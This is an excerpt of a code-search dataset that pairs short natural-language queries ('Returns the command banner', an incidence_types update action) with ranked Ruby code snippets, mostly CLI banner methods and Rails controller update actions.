query_id
stringlengths
32
32
query
stringlengths
7
6.75k
positive_passages
listlengths
1
1
negative_passages
listlengths
88
101
a95bdde6a43fa36bd3aecaf4bb341a5e
Returns the command banner
[ { "docid": "f44c45fecf0484a3fb136f644477a285", "score": "0.0", "text": "def banner\n \"Creates a relation database using a schema passed as first argument.\\n\"\\\n \"Physical handler may be specified through options.\"\n end", "title": "" } ]
[ { "docid": "4b5d381e5f6304089a1f4bf115e0ff9f", "score": "0.87844646", "text": "def command_banner\n ''\n end", "title": "" }, { "docid": "c1aa358383f6ce284913e686ca545184", "score": "0.7935955", "text": "def banner\n raise \"Command.banner should be overriden by subclasses\"\n end", "title": "" }, { "docid": "67748c465ca8e4459df2609a08bd3f91", "score": "0.789264", "text": "def shell_banner\n Command::ShellBannerBuilder\n end", "title": "" }, { "docid": "33a367876ecb521cf5280d00a9cbc03b", "score": "0.77912277", "text": "def default_banner\n command_name = File.basename($0).gsub(/\\.[^.]+$/, '')\n bannertext = ''\n bannertext << \"Usage: #{command_name} #{@usage}\\n\" if @usage\n bannertext << \"#{@synopsis}\\n\" if @synopsis\n bannertext << \"\\n\" if @usage || @synopsis\n bannertext << \"#{@version}\\n\" if @version\n unless subcommands.empty?\n bannertext << \"\\n\" if @version \n bannertext << \"Commands:\\n\"\n @subcommand_parsers.each_value do |scmd|\n bannertext << sprintf(\" %-20s %s\\n\", scmd.name, scmd.desc)\n end\n bannertext << \"\\n\" \n end\n bannertext << \"Options:\\n\"\n return bannertext\n end", "title": "" }, { "docid": "117047cfe7f02f6848572e283529f2a3", "score": "0.76844263", "text": "def banner\n lines = []\n \n name_line = \"#{ name } role\"\n lines << name_line\n lines << \"=\" * name_line.length\n lines << ''\n if meta['description']\n lines << meta['description']\n lines << ''\n end\n lines << 'usage:'\n # lines << \" qb #{ name } [OPTIONS] DIRECTORY\"\n lines << \" #{ usage }\"\n lines << ''\n lines << 'options:'\n \n lines.join(\"\\n\")\n end", "title": "" }, { "docid": "5db481ee3d40de49589215e3f5e43aed", "score": "0.7671897", "text": "def banner!\n invoked_command_class.banner!\n end", "title": "" }, { "docid": "93cdcc283752a8599efcf81b7256e0a6", "score": "0.7584676", "text": "def banner(command, namespace = nil, subcommand = true)\n addition = command.formatted_usage(\n self,\n false,\n subcommand\n )\n\n [\n basename,\n addition\n ].compact.join(\" \")\n end", "title": "" }, { "docid": "a15b68608e9cd8ec8a2c38de01f3c7ec", "score": "0.7581126", "text": "def banner\n \"[#{name}] \"\n end", "title": "" }, { "docid": "3dc5d15eda8c4c4050dbaec70f807470", "score": "0.7575352", "text": "def help; summarize(banner.to_s.sub(/\\n?\\z/, \"\\n\")) end", "title": "" }, { "docid": "ae29567a642b4f5fb29c1fb52d923c0f", "score": "0.7463301", "text": "def banner\n %q{\n _ _\n | | |\n ___ ___ _ ____ _____ _ __ __ _ __| | |__\n / __/ _ \\| '_ \\ \\ / / _ \\ '__/ _` |/ _` | '_ \\\n | (_| (_) | | | \\ V / __/ | | (_| | (_| | |_) |\n \\___\\___/|_| |_|\\_/ \\___|_| \\__, |\\__,_|_.__/\n __/ |\n |___/ }\n end", "title": "" }, { "docid": "ad43396c6af00f672cc60c4565565b28", "score": "0.7458753", "text": "def help_banner\n output = ''\n if command_parser.main_options.banner?\n output << format(command_parser.main_options.banner, indent: 0) << \"\\n\\n\"\n end\n output << format(usage, indent: 7) << \"\\n\\n\"\n end", "title": "" }, { "docid": "1aa76603e75c96c98febe0bb4a9de724", "score": "0.74391186", "text": "def banner(command, namespace = T.unsafe(nil), subcommand = T.unsafe(nil)); end", "title": "" }, { "docid": "97b4513b1277dc3a71a5aa1c48d65ad1", "score": "0.7428433", "text": "def banner\n <<~'TEXT'\n ___ _ _ _ _\n / __\\ | ___ _ _ __| | |_ __ _ ___| | _____ _ __\n / / | |/ _ \\| | | |/ _` | __/ _` / __| |/ / _ \\ '__|\n / /___| | (_) | |_| | (_| | || (_| \\__ \\ < __/ |\n \\____/|_|\\___/ \\__,_|\\__,_|\\__\\__,_|___/_|\\_\\___|_|\n\n TEXT\n end", "title": "" }, { "docid": "f29243ad736f54c723c1399bf44ced55", "score": "0.7402859", "text": "def banner(*)\n \"#{executable} #{arguments.map(&:usage).join(' ')} [options]\".squish\n end", "title": "" }, { "docid": "e40ecd5702cc7b2ef0392d9fdc415b20", "score": "0.72764397", "text": "def banner\n puts BANNER\n puts\n puts\n end", "title": "" }, { "docid": "e40ecd5702cc7b2ef0392d9fdc415b20", "score": "0.72764397", "text": "def banner\n puts BANNER\n puts\n puts\n end", "title": "" }, { "docid": "e40ecd5702cc7b2ef0392d9fdc415b20", "score": "0.72764397", "text": "def banner\n puts BANNER\n puts\n puts\n end", "title": "" }, { "docid": "25533f33b6133479c013905b6b8ff942", "score": "0.72344744", "text": "def banner\n\t\tver=read_ver\n\t\tart=\",--. ,--. ,--. ,--. ,--.\n| | | | ,---. | |-. | `.' | ,--,--. ,---. ,---. ,---. ,--.--.\n| |.'.| || .-. :| .-. ' | |'.'| |' ,-. || .-. || .-. || .-. :| .--'\n| ,'. |\\ --.| `-' | | | | |\\ '-' || '-' '| '-' '\\ --.| |\n'--' '--' `----' `---' `--' `--' `--`--'| |-' | |-' `----'`--'\n `--' `--' \"\n\t\tstring = \"-\"*80 + \"\\n\" + art + \"\\n\" + \"Version: \" + ver[\"version\"] + \"\\tRelease Date: \" + ver[\"date\"] + \"\\nDesigned and developed by: \" + ver[\"author\"] + \"\\nEmail: \" + ver[\"email\"] + \"\\tLinkedIn: \" + ver[\"linkedin\"] + \"\\n\" + \"-\"*80\n\tend", "title": "" }, { "docid": "3c3e9cbaf97c70b9d29a6b65f3117eaa", "score": "0.7183055", "text": "def banner\n \"Launches the rel command line tool\"\n end", "title": "" }, { "docid": "1f172fe4bc48598a8ddb2f2aef622663", "score": "0.7173157", "text": "def banner()\r\n print \"\"\" \r\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n _____ ____ \r\n <----,\\ -- )\r\n <--==\\\\ -/ Auto Snorter v0.0.1 Locked, stocked, and fully auto.... <////~\r\n <--==\\\\/\r\n .-~~~~-.Y|\\\\_ by Rick Flores @nanotechz9l\r\n @_/ / 66\\_ 0xnanoquetz9l[--at--]gmail.com\r\n | \\ \\ _('')\r\n \\ /-| ||'--' Automation station!\r\n \\_\\ \\_\\\\_\\\r\n \r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\"\"\" \r\nend", "title": "" }, { "docid": "29201cb0196fcf3ca7adc3258281d97d", "score": "0.7137202", "text": "def banner\n I18n.t 'command.'+self.invoke_name+'.usage', cmd: 'vagrant ' + self.invoke_name\n end", "title": "" }, { "docid": "67e561fbeecf6e08d703658b0e3036d7", "score": "0.71188045", "text": "def banner\n progname = @parser.program_name\n return <<EOB\nUsage: #{progname} command database.config [database_translation.rb]\n\nCommands:\n#{Mongify::CLI::Command::Worker.list_commands.join(\"\\n\")}\n\nExamples:\n\n#{progname} check database.config\n#{progname} translation datbase.config > database_translation.rb\n#{progname} process database.config database_translation.rb\n#{progname} sync database.config database_translation.rb\n\nSee http://github.com/anlek/mongify for more details\n\nEOB\n end", "title": "" }, { "docid": "0ff6f394ef48118a5424118bc4b821cc", "score": "0.7117036", "text": "def banner\n say %(\n\n ******************************************************************\n\n Your theme has been generated with a gemspec dependency on\n Archangel ~> v#{archangel_version}\n\n You look lovely today by the way.\n\n ******************************************************************\n\n )\n end", "title": "" }, { "docid": "276c83401e5e4498f48a1aef365403fd", "score": "0.7113748", "text": "def banner\n print_line BANNER\n print_line\n print_line\n end", "title": "" }, { "docid": "877660c357d7819561dd69f2684427a8", "score": "0.7098649", "text": "def banner\n \"Usage: #{$0} chat_system ModelName ControllerName\"\n end", "title": "" }, { "docid": "ab4336f43c48c7359bfe96057942311d", "score": "0.7091922", "text": "def banner\n puts \"******************************************************************************\".colorize(color: :white, background: :magenta)\n puts \"* rotor_machine: Simple simulation of the German WWII Enigma Machine *\".colorize(color: :white, background: :magenta)\n puts \"* By Tammy Cravit <tammycravit@me.com> *\".colorize(color: :white, background: :magenta)\n puts \"* http://github.com/tammycravit/rotor_machine *\".colorize(color: :white, background: :magenta)\n puts \"******************************************************************************\".colorize(color: :white, background: :magenta)\n puts \"\"\n puts \"rotor_machine version #{RotorMachine::VERSION}. Type 'help' for help. <Tab> to complete commands.\".colorize(color: :magenta)\n puts \"\"\n end", "title": "" }, { "docid": "16993527e74dd653eb7f1b6475c29492", "score": "0.70879745", "text": "def banner\n return $0\n end", "title": "" }, { "docid": "11cf417e8b6261ec655b5e1ff74fb98d", "score": "0.705999", "text": "def common_banner\n <<-EOS\nUsage:\n #{__FILE__} [options]\n\n EOS\n end", "title": "" }, { "docid": "691a9f6c38fa07de4e87b46f4debe101", "score": "0.70344317", "text": "def cmd_banner(*args)\n\t\tbanner = \"%cya\" + Banner.to_s + \"%clr\\n\\n\"\n\t\tbanner << \" =[ %yelmetasploit v#{Msf::Framework::Version} [core:#{Msf::Framework::VersionCore} api:#{Msf::Framework::VersionAPI}]%clr\\n\"\n\t\tbanner << \"+ -- --=[ \"\n\t\tbanner << \"#{framework.stats.num_exploits} exploits - #{framework.stats.num_auxiliary} auxiliary\\n\"\n\t\tbanner << \"+ -- --=[ \"\n\n\t\toldwarn = nil\n\t\tbanner << \"#{framework.stats.num_payloads} payloads - #{framework.stats.num_encoders} encoders - #{framework.stats.num_nops} nops\\n\"\n\t\tif ( ::Msf::Framework::RepoRevision.to_i > 0 and ::Msf::Framework::RepoUpdatedDate)\n\t\t\ttstamp = ::Msf::Framework::RepoUpdatedDate.strftime(\"%Y.%m.%d\")\n\t\t\tbanner << \" =[ svn r#{::Msf::Framework::RepoRevision} updated #{::Msf::Framework::RepoUpdatedDaysNote} (#{tstamp})\\n\"\n\t\t\tif(::Msf::Framework::RepoUpdatedDays > 7)\n\t\t\t\toldwarn = []\n\t\t\t\toldwarn << \"Warning: This copy of the Metasploit Framework was last updated #{::Msf::Framework::RepoUpdatedDaysNote}.\"\n\t\t\t\toldwarn << \" We recommend that you update the framework at least every other day.\"\n\t\t\t\toldwarn << \" For information on updating your copy of Metasploit, please see:\"\n\t\t\t\toldwarn << \" http://www.metasploit.com/redmine/projects/framework/wiki/Updating\"\n\t\t\t\toldwarn << \"\"\n\t\t\tend\n\t\tend\n\n\t\t# Display the banner\n\t\tprint_line(banner)\n\n\t\tif(oldwarn)\n\t\t\toldwarn.map{|line| print_line(line) }\n\t\tend\n\tend", "title": "" }, { "docid": "15a6fee0734309b28e3039dd3f7c4079", "score": "0.69686455", "text": "def banner\n 3.times { puts }\n puts \" >> Tomato Interactive Console <<\"\n puts\n help\n end", "title": "" }, { "docid": "a5627cf1775ad4ef59efe952926e9483", "score": "0.6964874", "text": "def banner\n \"Usage: #{$0} gruff ControllerName\"\n end", "title": "" }, { "docid": "3166bfe72c59ad47de1d66e7289f77e1", "score": "0.69349456", "text": "def bannerino(desc)\n \"#septober v#{$PROG_VER} #{white desc.to_s} (#{green RemoteTodo.user} @ #{cyan RemoteTodo.site.to_s.split('/')[2] }, timeout=#{RemoteTodo.timeout})\" + \n (RemoteTodo.description.length > 2 ? \" # #{gray RemoteTodo.description}\" : '')\n end", "title": "" }, { "docid": "7624cd37829dd6e4f4f280d40464ac00", "score": "0.69309276", "text": "def banner\n \"Usage: #{$0} wizardly_app\"\n end", "title": "" }, { "docid": "723bc7ee7bcd9140346df86b612894be", "score": "0.69250065", "text": "def banner\r\n \"Usage: #{$0} #{spec.name} [options]\"\r\n end", "title": "" }, { "docid": "d4307169323cf8be56bc17dc0588a143", "score": "0.689175", "text": "def banner #:nodoc:\n \"#{self.namespace} #{self.arguments.map {|o| o.usage }.join(' ')}\"\n end", "title": "" }, { "docid": "23cca6ee79da6e6cf4369a9eb27b988b", "score": "0.6883722", "text": "def get_desc\n return 'This command has no description.'\n end", "title": "" }, { "docid": "98f8ca966baca4d4d68f2531ead598cb", "score": "0.6864783", "text": "def banner\r\n \"Usage: #{$0} #{spec.name} #{spec.name.camelize}Name [options]\"\r\n end", "title": "" }, { "docid": "8e83e8c2aa60a01ea972e4c5780ca640", "score": "0.6852371", "text": "def banner\r\n \"Usage: #{$0} [options]\"\r\n end", "title": "" }, { "docid": "f9e36d880adcf62812044dd78a00c9ef", "score": "0.68408436", "text": "def banner\n JSON.pretty_generate({ 'banner' => output(varnishadm(\"banner\"))})\n end", "title": "" }, { "docid": "5923769333a10e6dd86e6b2f7811b7ac", "score": "0.6833016", "text": "def banner\n puts \"*\" * 80\n puts \" Your extension has been generated with a gemspec dependency on\"\n puts \" Archangel #{archangel_version}.\"\n puts \"\"\n puts \" You look lovely today by the way.\"\n puts \"*\" * 80\n end", "title": "" }, { "docid": "5af6aeda4b66c1a8caf5ef17539ff946", "score": "0.6816892", "text": "def banner\n \"Usage: #{$0} feedsucker\"\n end", "title": "" }, { "docid": "4a53b4f8d5b4de25364906bef62b598e", "score": "0.68168056", "text": "def banner\n \"Usage: #{$0} freemium\"\n end", "title": "" }, { "docid": "edad7109b58c97b37baba47c1901f9e7", "score": "0.6804392", "text": "def banner\n \"Usage: roby gen #{spec.name} NAME [options]\"\n end", "title": "" }, { "docid": "a1a12b7181a519e45f853a07228e3bc9", "score": "0.6791477", "text": "def banner\n banner = \"\"\"\n /$$ /$$ /$$ /$$ /$$ /$$ /$$ \n | $$ | $$ | $/ | $$ | $$|__/| $$ \n | $$ /$$$$$$ /$$$$$$|_//$$$$$$$ | $$ | $$ /$$| $$ /$$ /$$$$$$ \n | $$ /$$__ $$|_ $$_/ /$$_____/ | $$$$$$$$| $$| $$ /$$/ /$$__ $$\n | $$ | $$$$$$$$ | $$ | $$$$$$ | $$__ $$| $$| $$$$$$/ | $$$$$$$$\n | $$ | $$_____/ | $$ /$$\\____ $$ | $$ | $$| $$| $$_ $$ | $$_____/\n | $$$$$$$$| $$$$$$$ | $$$$//$$$$$$$/ | $$ | $$| $$| $$ \\ $$| $$$$$$$\n |________/ \\_______/ \\___/ |_______/ |__/ |__/|__/|__/ \\__/ \\_______/\n \"\"\"\n puts banner\n end", "title": "" }, { "docid": "9ac3625b8907f671c2a6e001ae230c3a", "score": "0.67829967", "text": "def banner\n \"Usage: #{$0} toolbawks_component [component_name]\"\n end", "title": "" }, { "docid": "1a95a93be799f120361b601cd2a3cb6b", "score": "0.6775568", "text": "def banner\n system \"clear\"\n puts \" ( ( (\n )\\\\))( ' ( )\\\\ ) (\n((_)()\\\\ ) ))\\\\ ((_) ( ( ( ))\\\\\n_(())\\\\_)() /((_) _ )\\\\ )\\\\ )\\\\ ' /((_)\n\\\\ \\\\((_)/ /(_)) | | ((_) ((_) _((_)) (_))\n \\\\ \\\\/\\\\/ / / -_) | | / _| / _ \\\\ | ' \\\\() / -_)\n \\\\_/\\\\_/ \\\\___| |_| \\\\__| \\\\___/ |_|_|_| \\\\___| \"\nend", "title": "" }, { "docid": "05d5bfea9fc1d7b0a35c1def6cdbb660", "score": "0.67342055", "text": "def banner\n \"Usage: #{$0} #{spec.name} #{spec.name.camelize}Name [options]\"\n end", "title": "" }, { "docid": "7f1bc5ba0ff7896b3d627135c919e709", "score": "0.67302513", "text": "def banner\n \"Usage: #{$0} tool toolname --exe path_to_exe [--version gem_version, --exe path_to_another_exe]\"\n end", "title": "" }, { "docid": "3b5049671202fe2b99047cd8cdc552cd", "score": "0.671449", "text": "def banner\n \"Usage: #{$0} #{spec.name} [options]\"\n end", "title": "" }, { "docid": "3b5049671202fe2b99047cd8cdc552cd", "score": "0.671449", "text": "def banner\n \"Usage: #{$0} #{spec.name} [options]\"\n end", "title": "" }, { "docid": "2db21eaf2516a2cb4391d43ecd95de4c", "score": "0.66941357", "text": "def banner; end", "title": "" }, { "docid": "2db21eaf2516a2cb4391d43ecd95de4c", "score": "0.66941357", "text": "def banner; end", "title": "" }, { "docid": "2db21eaf2516a2cb4391d43ecd95de4c", "score": "0.66941357", "text": "def banner; end", "title": "" }, { "docid": "2db21eaf2516a2cb4391d43ecd95de4c", "score": "0.66941357", "text": "def banner; end", "title": "" }, { "docid": "e0e2fa710cbc916b98642fb910ef7b98", "score": "0.66757244", "text": "def banner\n \"Usage: #{$0} qadmin ModelName\"\n end", "title": "" }, { "docid": "a19a1073781273ea9f2707aa89ebec7a", "score": "0.6675586", "text": "def banner(banner, options)\n if banner\n puts banner\n else\n # Usage needs to know about the defined options.\n usage(options)\n end\n end", "title": "" }, { "docid": "2bdd662a8041213cea10a3d22200b92f", "score": "0.6673832", "text": "def description\n @global_command.description\n end", "title": "" }, { "docid": "098221d3f5530685f19975917d9b956b", "score": "0.66652346", "text": "def banner=(_arg0); end", "title": "" }, { "docid": "098221d3f5530685f19975917d9b956b", "score": "0.66652346", "text": "def banner=(_arg0); end", "title": "" }, { "docid": "098221d3f5530685f19975917d9b956b", "score": "0.66652346", "text": "def banner=(_arg0); end", "title": "" }, { "docid": "70d54ca8bdbe2af7f47d2b05d4d81b23", "score": "0.6648634", "text": "def print_banner\n puts BANNER\n puts\n puts\n end", "title": "" }, { "docid": "f42cbbc3374c227319a5895ec5372b7b", "score": "0.66301495", "text": "def banner\n self.class.banner\n end", "title": "" }, { "docid": "a01050016ca9a36a0d0f1f65aaa54812", "score": "0.66181546", "text": "def description\n retVal = \"Commands are as follows:\\n\"\n\n commandCounter = 0\n for command in @commands\n retVal << \"#{commandCounter.to_s}. #{command.description}\\n\"\n commandCounter += 1\n end\n\n return(retVal)\n end", "title": "" }, { "docid": "43b0bb1d998ef3a922cc13734adeb911", "score": "0.6610838", "text": "def print_banner\n puts \"\\e[96m\"\n puts banner\n puts \"\\e[0m\"\n end", "title": "" }, { "docid": "36ed7ff7b839b2f98044596a7ea784f2", "score": "0.66012514", "text": "def getOptionsBanner\n return ''\n end", "title": "" }, { "docid": "36ed7ff7b839b2f98044596a7ea784f2", "score": "0.66012514", "text": "def getOptionsBanner\n return ''\n end", "title": "" }, { "docid": "1817ca8b2b3a87ab7f832933b08122ad", "score": "0.65968", "text": "def banner\r\n \"Usage: #{$0} #{spec.name} [options] uFormatName\" \r\n end", "title": "" }, { "docid": "17141e826248b8bc3d8f0bf306a2f14a", "score": "0.65938884", "text": "def banner\n \"Usage: #{$0} deployment ApplicationName [recipe-name]\\n\" +\n \" (recipe-name defaults to \\\"deploy\\\")\"\n end", "title": "" }, { "docid": "cc354633903faa2231a265ec3ca8522a", "score": "0.6586416", "text": "def banner\n \"Usage #{$0} hours_migration somethingelse whoknowswhat\"\n end", "title": "" }, { "docid": "c9dfe67c8703a7a068ffcdb8d6f5d9cd", "score": "0.65705806", "text": "def help\n msg = <<-MSG\nNAME\n bones v#{::Bones.version}\n\nDESCRIPTION\n Mr Bones is a handy tool that builds a skeleton for your new Ruby\n projects. The skeleton contains some starter code and a collection of\n rake tasks to ease the management and deployment of your source code.\n\n Usage:\n bones -h/--help\n bones -v/--version\n bones command [options] [arguments]\n\n Examples:\n bones create new_project\n bones freeze -r git://github.com/fudgestudios/bort.git bort\n bones create -s bort new_rails_project\n\n Commands:\n MSG\n\n fmt = lambda { |cmd|\n if @plugins[cmd] < ::Bones::App::Command\n msg << \" bones %-15s %s\\n\" % [cmd, @plugins[cmd].summary]\n end\n }\n\n ary = [:create, :freeze, :unfreeze, :info, :plugins]\n ary.each(&fmt)\n (@plugins.keys - ary).each(&fmt)\n\n msg.concat <<-MSG\n\n Further Help:\n Each command has a '--help' option that will provide detailed\n information for that command.\n\n http://github.com/TwP/bones\n\n MSG\n\n stdout.puts msg\n end", "title": "" }, { "docid": "3a96713ff0d51278fb32e55503c1483a", "score": "0.6551245", "text": "def banner\n <<-'BANNER'\n .----------------. .----------------. .----------------. .----------------. .----------------. .----------------. .----------------. \n | .--------------. | .--------------. | .--------------. | .--------------. | .--------------. | .--------------. | .--------------. |\n | | ______ | | | _________ | | | _____ | | | __ | | | _________ | | | _________ | | | ________ | |\n | | |_ _ \\ | | | |_ ___ | | | | |_ _| | | | / \\ | | | | _ _ | | | | |_ ___ | | | | |_ ___ `. | |\n | | | |_) | | | | | |_ \\_| | | | | | | | | / /\\ \\ | | | |_/ | | \\_| | | | | |_ \\_| | | | | | `. \\ | |\n | | | __'. | | | | _| _ | | | | | _ | | | / ____ \\ | | | | | | | | | _| _ | | | | | | | | |\n | | _| |__) | | | | _| |___/ | | | | _| |__/ | | | | _/ / \\ \\_ | | | _| |_ | | | _| |___/ | | | | _| |___.' / | |\n | | |_______/ | | | |_________| | | | |________| | | ||____| |____|| | | |_____| | | | |_________| | | | |________.' | |\n | | | | | | | | | | | | | | | | | | | | | |\n | '--------------' | '--------------' | '--------------' | '--------------' | '--------------' | '--------------' | '--------------' |\n '----------------' '----------------' '----------------' '----------------' '----------------' '----------------' '----------------' \n BANNER\n end", "title": "" }, { "docid": "3ebbe7b27b151ec5d07d6598cf36230c", "score": "0.65489244", "text": "def banner\n \"Usage: #{$0} [ControllerName]\"\n end", "title": "" }, { "docid": "3d97d53b813d6bc42633b4ad6d9ebf5c", "score": "0.6545855", "text": "def banner(arg=nil)\n @banner = arg if arg\n @banner || description\n end", "title": "" }, { "docid": "2bef7ef9aba2e4ff6019d395327f82e2", "score": "0.65426016", "text": "def banner\n \"Usage: #{$0} backend_page ModelName\"\n end", "title": "" }, { "docid": "1fd888f64992aa64be64844d873b93c2", "score": "0.6483232", "text": "def show_help\n puts BANNER\nend", "title": "" }, { "docid": "48fdc41eb30226cca3cff322020f7615", "score": "0.6481627", "text": "def banner(task, namespace = nil, subcommand = false)\n \"#{basename} #{task.formatted_usage(self, $thor_runner, subcommand)}\"\n end", "title": "" }, { "docid": "ff1ee419876e1b592e15b0e39b2aa53b", "score": "0.6443403", "text": "def to_s\n banner = \"#{@banner}\\n\" if @banner\n (banner || '') + options.to_help\n end", "title": "" }, { "docid": "ff1ee419876e1b592e15b0e39b2aa53b", "score": "0.6443403", "text": "def to_s\n banner = \"#{@banner}\\n\" if @banner\n (banner || '') + options.to_help\n end", "title": "" }, { "docid": "eac111cb33aa30eedbd7324127084f28", "score": "0.6441358", "text": "def banner\n \"Usage: #{$0} easy_messages ModelName [ControllerName]\"\n end", "title": "" }, { "docid": "b1c61bcfb814c15642edfaa1e35c3da4", "score": "0.642062", "text": "def banner\r\n \"Usage: #{$0} trackback_plugin ModelName [ControllerName]\"\r\n end", "title": "" }, { "docid": "444e4605dc714179bf65f31b8c1c1d65", "score": "0.6420024", "text": "def entry_banner\n 'Development Goal'\n end", "title": "" }, { "docid": "901ba24341334b0a67aab2765cdcb1bf", "score": "0.64155287", "text": "def command_help\n GoHiring::Config[\"messages\"][\"command_help\"]\n end", "title": "" }, { "docid": "bb266e0d135450cdec47c9d05d5f5c11", "score": "0.64086336", "text": "def banner (*args)\n slop.banner(*args)\n end", "title": "" }, { "docid": "25eba10683735327db286204d59d9079", "score": "0.6404176", "text": "def banner\n \"Usage: #{$0} ubiquo_plugin plugin_name\"\n end", "title": "" }, { "docid": "34054ffb9e808fde0db7a1aada144f52", "score": "0.6371651", "text": "def entry_banner\n 'One-on-One'\n end", "title": "" }, { "docid": "4386e43542bd5621f75fe7bf1b841033", "score": "0.6362796", "text": "def banner\n progname = @parser.program_name\n return <<EOB\n Usage: #{progname} translation_file.rb [--output ~/output_dir]\n\n Examples:\n #{progname} database_translation.rb\n #{progname} database_translation.rb -O ~/output_dir\n\n See http://github.com/anlek/mongify-mongoid for more details\n\nEOB\n end", "title": "" }, { "docid": "82f381c8d845b50547e1538a780f40fb", "score": "0.636123", "text": "def to_s\n defaults = commands.delete('default')\n globals = commands.delete('global')\n helps = commands.reject { |_, v| v.options.none? }\n if globals && globals.options.any?\n helps.merge!('Global options' => globals.to_s)\n end\n if defaults && defaults.options.any?\n helps.merge!('Other options' => defaults.to_s)\n end\n banner = @banner ? \"#{@banner}\\n\" : \"\"\n banner + helps.map { |key, opts| \" #{key}\\n#{opts}\" }.join(\"\\n\\n\")\n end", "title": "" }, { "docid": "5cb9a0a265add52ec2e17402b79eb044", "score": "0.635441", "text": "def help_message()\n return 'I\\'ll give you a list of all available commands.'\n end", "title": "" }, { "docid": "202db1eef920ac2631fd5e6065be508f", "score": "0.63515997", "text": "def banner\r\n \"Usage: #{$0} authenticated ModelName [ControllerName]\"\r\n end", "title": "" }, { "docid": "bda1d75920adc51024c01233412a5b20", "score": "0.6344161", "text": "def help\n @out.puts <<-MSG\n\n Mr Bones is a handy tool that builds a skeleton for your new Ruby\n projects. The skeleton contains some starter code and a collection of\n rake tasks to ease the management and deployment of your source code.\n\n Usage:\n bones -h/--help\n bones -v/--version\n bones command [options] [arguments]\n\n Examples:\n bones create new_project\n bones freeze -r git://github.com/fudgestudios/bort.git bort\n bones create -s bort new_rails_project\n\n Commands:\n bones create create a new project from a skeleton\n bones update copy Mr Bones tasks to a project\n bones freeze create a new skeleton in ~/.mrbones/\n bones unfreeze remove a skeleton from ~/.mrbones/\n bones info show information about available skeletons\n\n Further Help:\n Each command has a '--help' option that will provide detailed\n information for that command.\n\n http://codeforpeople.rubyforge.org/bones/\n\n MSG\n nil\n end", "title": "" }, { "docid": "9a5fcd471ffd538988c4a9004eb44571", "score": "0.6336232", "text": "def banner(message)\n printf \"\\n%s\\n\", Postview\n printf \"\\n%s\\n\\n\", message\nend", "title": "" }, { "docid": "5b1dd921263bc199d2128298b0d3e5b2", "score": "0.6335665", "text": "def print_banner\n info( \"\\n=== #{@key} ===\", [:CYAN, :BOLD])\n info( description, [:CYAN] )\n # inspect is a work around for Ruby 1.8.7 Array.to_s garbage\n info( \" - os value: #{os_value.inspect}\", [:CYAN] ) if os_value\n info( \" - recommended value: #{recommended_value.inspect}\", [:CYAN] ) if recommended_value\n info( \" - chosen value: #{@value.inspect}\" , [:CYAN] ) if @value\n end", "title": "" }, { "docid": "126877fc6b9253c9ea231894f8b91c12", "score": "0.6335364", "text": "def banner\n puts \"Cellula version \" + File.read('VERSION').strip\n puts \"\"\n end", "title": "" }, { "docid": "ce2abb48d3db209daaf55497964b5b89", "score": "0.6329292", "text": "def opt_banner(opt)\n opt.banner = <<BAN\n#{$task_desc[$task]}\n\nUsage: #{$0} #{$task} [options]\nBAN\n opt.separator \"\"\nend", "title": "" }, { "docid": "efab78af7df1fdd514dc86922258f98c", "score": "0.6319393", "text": "def banner\n \"Usage: #{$0} lipsiadmin_page ModelName [--with-images||--with-files]\"\n end", "title": "" }, { "docid": "3b10e2e97c0ddd8878cb669f3d7a6456", "score": "0.62932545", "text": "def banner\n \"Usage: #{$0} authenticated ModelName [ControllerName [DefaultLocale]]\"\n end", "title": "" }, { "docid": "8477eb0a59f15f1db357956d135981d0", "score": "0.6280601", "text": "def show_short_help\n flush banner\n flush options.summarize\n flush \"\\n\"\n end", "title": "" }, { "docid": "85a409432f003abdb1e41f323a147ac5", "score": "0.6277943", "text": "def banner_text\n banner_text = ENV.key?('ENVIRONMENT_BANNER') ? ENV['ENVIRONMENT_BANNER'] : ''\n ENV['ENVIRONMENT_BANNER'].freeze unless banner_text.empty?\n end", "title": "" }, { "docid": "947105763b3e2e5f58f489aaa9f51c82", "score": "0.62768", "text": "def banner\n \"Usage: #{$0} db_logger ModelName\"\n end", "title": "" }, { "docid": "48db26183fecf73fdbcb14dfcba54dea", "score": "0.6249784", "text": "def banner\n \"Usage: #{$0} #{spec.name} [options] [mapping:mapping_mode] [user_model:model_name]\"\n end", "title": "" }, { "docid": "dd1d5c138f4f6a48e6360b29b67ea56d", "score": "0.6249693", "text": "def banner()\n\n file = File.open(\"resources/banner.txt\", \"r\")\n\n puts file.read()\n\n end", "title": "" } ]
84bf0790fe597b7af12e8a5b6b8cfb20
PATCH/PUT /incidence_types/1 PATCH/PUT /incidence_types/1.json
[ { "docid": "65905f6605590c7dc6259460e4e77ad8", "score": "0.6976387", "text": "def update\n @incidence_type.code = @incidence_type.code.upcase\n\n respond_to do |format|\n if @incidence_type.update(incidence_type_params)\n format.html { redirect_to incidence_types_path, notice: 'Incidence type was successfully updated.' }\n format.json { render :index, status: :ok, location: @incidence_type }\n else\n format.html { render :edit }\n format.json { render json: @incidence_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "635111af9841d78e58589c1a7080f875", "score": "0.73480487", "text": "def update\n respond_to do |format|\n if @type_incidence.update(type_incidence_params)\n format.html { redirect_to @type_incidence, notice: 'Type incidence was successfully updated.' }\n format.json { render :show, status: :ok, location: @type_incidence }\n else\n format.html { render :edit }\n format.json { render json: @type_incidence.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "96f4cdf7e34ff9617f8ae66f0efd8254", "score": "0.7083502", "text": "def update\n respond_to do |format|\n if @incidence_type.update(incidence_type_params)\n format.html { redirect_to @incidence_type, notice: 'Incidence type ha sido actualizado.' }\n format.json { render :show, status: :ok, location: @incidence_type }\n else\n format.html { render :edit }\n format.json { render json: @incidence_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9ced4e719b313483a7d15e88c0e54434", "score": "0.6909504", "text": "def update\n @incident_type = IncidentType.find(params[:id])\n\n respond_to do |format|\n if @incident_type.update_attributes(params[:incident_type])\n format.html { redirect_to @incident_type, notice: 'Incident type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @incident_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "49b02b247a2b01585690c4575f7376f0", "score": "0.6866238", 